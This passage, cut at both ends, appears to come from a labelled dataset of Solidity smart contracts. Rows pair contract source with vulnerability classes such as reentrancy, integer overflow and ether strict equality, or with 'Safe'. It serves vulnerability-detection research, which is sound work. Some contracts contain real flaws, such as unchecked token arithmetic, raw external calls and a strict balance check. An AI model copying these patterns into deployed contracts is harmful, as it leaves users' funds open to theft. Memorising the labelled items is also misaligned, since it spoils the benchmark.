require(sale.call.value(contract_eth_value)()); require(this.balance==0); } else { require(msg.sender == sale); refund_eth_value += msg.value; } } }",./Dataset/reentrancy (RE)/,5,5 0x03834852f2889ddf286104bc771371c764be1fc6_GoodBit.sol,"pragma solidity ^0.4.8; contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); } contract GoodBit { /* Public variables of the token */ string public standard = 'GoodBit 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function GoodBit() { balanceOf[msg.sender] = 100000000 * 1000000000000000000; // Give the creator all initial tokens totalSupply = 100000000 * 1000000000000000000; // Update total supply name = ""GoodBit""; // Set the name for display purposes symbol = ""GDB""; // Set the symbol for display purposes decimals = 18; // Amount of decimals for display purposes } /* Send coins */ function transfer(address _to, uint256 _value) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* Approve and then communicate the approved contract in a single tx */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) returns (bool success) { if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(_from, _value); return true; } }",Safe,8,8 485.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableBurnToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); string public constant name = ""Banking As A Protocol""; string public constant symbol = ""BAAP""; uint32 public constant decimals = 18; bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } }",./Dataset/integer overflow (OF)/,4,4 1032.sol,"pragma solidity ^0.4.19; contract BaseToken { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; assert(balanceOf[_from] + balanceOf[_to] == previousBalances); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract AirdropToken is BaseToken { uint256 public airAmount; uint256 public airBegintime; uint256 public airEndtime; address public airSender; uint32 public airLimitCount; mapping (address => uint32) public airCountOf; event Airdrop(address indexed from, uint32 indexed count, uint256 tokenValue); function airdrop() public payable { require(now >= airBegintime && now <= airEndtime); require(msg.value == 0); if (airLimitCount > 0 && airCountOf[msg.sender] >= airLimitCount) { revert(); } _transfer(airSender, msg.sender, airAmount); airCountOf[msg.sender] += 1; Airdrop(msg.sender, airCountOf[msg.sender], airAmount); } } contract ICOToken is BaseToken { // 1 ether = icoRatio token uint256 public icoRatio; uint256 public icoBegintime; uint256 public icoEndtime; address public icoSender; address public icoHolder; event ICO(address indexed from, uint256 indexed value, uint256 tokenValue); event Withdraw(address indexed from, address indexed holder, uint256 value); function ico() public payable { require(now >= icoBegintime && now <= icoEndtime); uint256 tokenValue = (msg.value * icoRatio * 10 ** uint256(decimals)) / (1 ether / 1 wei); if (tokenValue == 0 || balanceOf[icoSender] < tokenValue) { revert(); } _transfer(icoSender, msg.sender, tokenValue); ICO(msg.sender, msg.value, tokenValue); } function withdraw() public { uint256 balance = this.balance; icoHolder.transfer(balance); Withdraw(msg.sender, icoHolder, balance); } } contract Woyager is BaseToken, AirdropToken, ICOToken { function Woyager() public { totalSupply = 1000000000e18; name = 'Woyager'; symbol = 'WYX'; decimals = 18; balanceOf[0x6e3a106E91f7ddB1C52F68fd3dB61AdCAbfbAa33] = totalSupply; Transfer(address(0), 0x6e3a106E91f7ddB1C52F68fd3dB61AdCAbfbAa33, totalSupply); airAmount = 5000e18; airBegintime = 1533992400; airEndtime = 1538351940; airSender = 0xCB554264736B84325ec6e8dAe71cA549F5B34649; airLimitCount = 1; icoRatio = 10e6; icoBegintime = 1533992400; icoEndtime = 1548979140; icoSender = 0x1Bd8917f60d528a0FcF87660CFC80Bf3ed48a353; icoHolder = 0x1Bd8917f60d528a0FcF87660CFC80Bf3ed48a353; } function() public payable { if (msg.value == 0) { airdrop(); } else { ico(); } } }",./Dataset/ether strict equality (SE),3,3 32662.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract BWCOINToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function BWCOINToken() { balances[msg.sender] = 25 * 1000000 * 10000; // Give the creator all initial tokens (100000 for example) totalSupply = 25 * 1000000 * 10000; // Update total supply (100000 for example) name = ""BWCOIN""; // Set the name for display purposes decimals = 4; // Amount of decimals for display purposes symbol = ""BWC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x0525b2bF24ec0Bc5D8514747F250010E240207EA_FlatPricingExt.sol,"pragma solidity ^0.4.11; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Interface for defining crowdsale pricing. */ contract PricingStrategy { address public tier; /** Interface declaration. */ function isPricingStrategy() public constant returns (bool) { return true; } /** Self check if all references are correctly set. * * Checks that pricing strategy matches crowdsale parameters. */ function isSane(address crowdsale) public constant returns (bool) { return true; } /** * @dev Pricing tells if this is a presale purchase or not. @param purchaser Address of the purchaser @return False by default, true if a presale purchaser */ function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } /* How many weis one token costs */ function updateRate(uint newOneTokenInWei) public; /** * When somebody tries to buy tokens for X eth, calculate how many tokens they get. * * * @param value - What is the value of the transaction send in as wei * @param tokensSold - how much tokens have been sold this far * @param weiRaised - how much money has been raised this far in the main token sale - this number excludes presale * @param msgSender - who is the investor of this transaction * @param decimals - how many decimal units the token has * @return Amount of tokens the investor receives */ function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * Fixed crowdsale pricing - everybody gets the same price. */ contract FlatPricingExt is PricingStrategy, Ownable { using SafeMathLibExt for uint; /* How many weis one token costs */ uint public oneTokenInWei; // Crowdsale rate has been changed event RateChanged(uint newOneTokenInWei); modifier onlyTier() { if (msg.sender != address(tier)) throw; _; } function setTier(address _tier) onlyOwner { assert(_tier != address(0)); assert(tier == address(0)); tier = _tier; } function FlatPricingExt(uint _oneTokenInWei) onlyOwner { require(_oneTokenInWei > 0); oneTokenInWei = _oneTokenInWei; } function updateRate(uint newOneTokenInWei) onlyTier { oneTokenInWei = newOneTokenInWei; RateChanged(newOneTokenInWei); } /** * Calculate the current price for buy in amount. * */ function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) { uint multiplier = 10 ** decimals; return value.times(multiplier) / oneTokenInWei; } }",Safe,8,8 0x044205b97c44da18901e636173414aa9304a2f83_RUVI.sol,"contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_value > 0); require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value > 0); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require(_value > 0); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_addedValue > 0); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_subtractedValue > 0); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract RUVI is StandardToken, BurnableToken { string public constant name = ""Ruvicash""; string public constant symbol = ""RUVI""; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals)); function RUVI() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }",Safe,8,8 2777.sol,"pragma solidity ^0.4.24; interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } pragma solidity ^0.4.24; library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents {} contract FoMo3DWorld is modularLong, Ownable { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x789C537cE585595596D3905f401235f5A85B11d7); string constant public name = ""FoMo3D World""; string constant public symbol = ""F3DW""; uint256 constant private rndGap_ = 0; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30, 6); fees_[1] = F3Ddatasets.TeamFee(43, 0); fees_[2] = F3Ddatasets.TeamFee(56, 10); fees_[3] = F3Ddatasets.TeamFee(43, 8); potSplit_[0] = F3Ddatasets.PotSplit(15, 10); potSplit_[1] = F3Ddatasets.PotSplit(25, 0); potSplit_[2] = F3Ddatasets.PotSplit(20, 20); potSplit_[3] = F3Ddatasets.PotSplit(30, 10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if 